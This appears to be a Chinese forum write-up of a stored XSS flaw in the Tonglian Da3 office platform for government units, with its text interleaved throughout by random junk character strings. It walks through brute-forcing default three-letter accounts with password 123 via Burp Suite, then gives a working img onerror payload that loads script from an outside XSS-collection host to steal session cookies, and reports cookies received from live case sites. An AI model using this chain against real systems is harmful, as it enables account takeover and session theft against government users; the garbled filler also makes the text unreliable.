同联Da3协同办公平台后台通用储存型xss漏洞

admin

/ d: c, _: U+ p& Q; w0 B 3 M* G! k% W8 B1 c; S+ p 5 s2 w" C3 C% k' ?% z + h5 G. X1 c1 f* ?

x! R W& q* U6 h' U: Z 同联Da3协同办公平台后台通用储存型xss漏洞 8 L# V" Z9 q' D5 Q

平台简介： . V) E" I) Q5 l0 G7 ~8 T

7 O7 ]! R1 }9 m+ V1 e( Q  

3 Q" \) `, W$ Y. U

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
5 {! S; O/ v) }$ |# L同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
W$ ^1 g7 f N; D& t5 y( |同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

9 x# P2 ~" W2 d( H

5 m& {9 R& b, ]+ }! h- K   2 g- j1 Q& O; W4 P: Y

+ ?. _& s7 F1 @+ @ p! Y

# |/ U; R, \. ^7 y) d 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： ' M' w* H, r/ A7 q( ]$ C

  ) L7 y+ z1 Q. _. c. \3 |+ w

7 |6 E, S4 T/ r$ _4 D/ d http://1.1.1.1:7197/cap-aco/#（案例2-） + ^4 d/ m4 q2 E7 I" M0 p# ?

. r9 l7 ?5 F! J j. Y! u* w

http://www.XXOO.com （案例1-官网网站）

+ ]: l& w2 t5 u$ p. [$ b! }7 F

: F9 D+ P: I5 [: b6 f- I 漏洞详情:

 案例一、 4 v8 R: E# S$ c% _2 X1 _

8 J' i' h% i7 {) V

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 8 y; ^3 D m8 P$ m

. `- R: ^4 S# G4 t7 `      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 0 Q! r$ @( J& z8 m% s: K2 _

  # J& A# e" j+ h; a' \ D

. L5 e/ }4 E M1 O

# Y6 |5 E3 a; K, a ' E t e9 j6 W. e, p, h% t+ @3 o% l1 f

9 A9 k& R" M3 _- R$ [ status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

1 q- Q7 b0 {9 y t# `5 h3 N

  1 B C Q( H" c+ k

* W) s" V2 q) D$ v& E

4 z5 _* q( j0 u+ n3 J% t4 y( p3 v

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

" _ n9 y5 \; Z+ W& o- d

  . s9 l$ P6 ?( ~! L6 @' X- Q

* U) z# A: b6 y4 x6 z1 ^& _. _% R <img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

: {0 r2 v* ~5 C! Q

, k* I2 W4 H# o! z% C0 o+ j. k t

然后发送，接收cookie如图： 9 ^: }5 I$ Z: ]

 

# }" n* L4 H; T% A

 

 

: s, f1 ?% ~7 ^

 

3 H# q- f, V# K0 w

- P2 B2 ~0 t2 @9 o$ N

. a3 P' Q0 B6 m! H6 o- v" {$ i

  m% T: M( P3 ? I9 y& g. e7 P

7 L) X p9 G+ C

案例2、

前面步骤都一样，下面看效果图：

% e8 ?/ ]+ o/ k

- _- z: S d( _1 @

4 X: F6 @$ y3 B$ k

 

  * E' Z$ O: J9 Z) w0 A, C

" ]- q N. [1 j# t" g

% T, P. ?: y- Z8 c$ C+ R* H3 I  

 

 

) l+ l" H0 n0 z0 d% e5 g4 ~  

1 ^( C3 b( }: T0 ^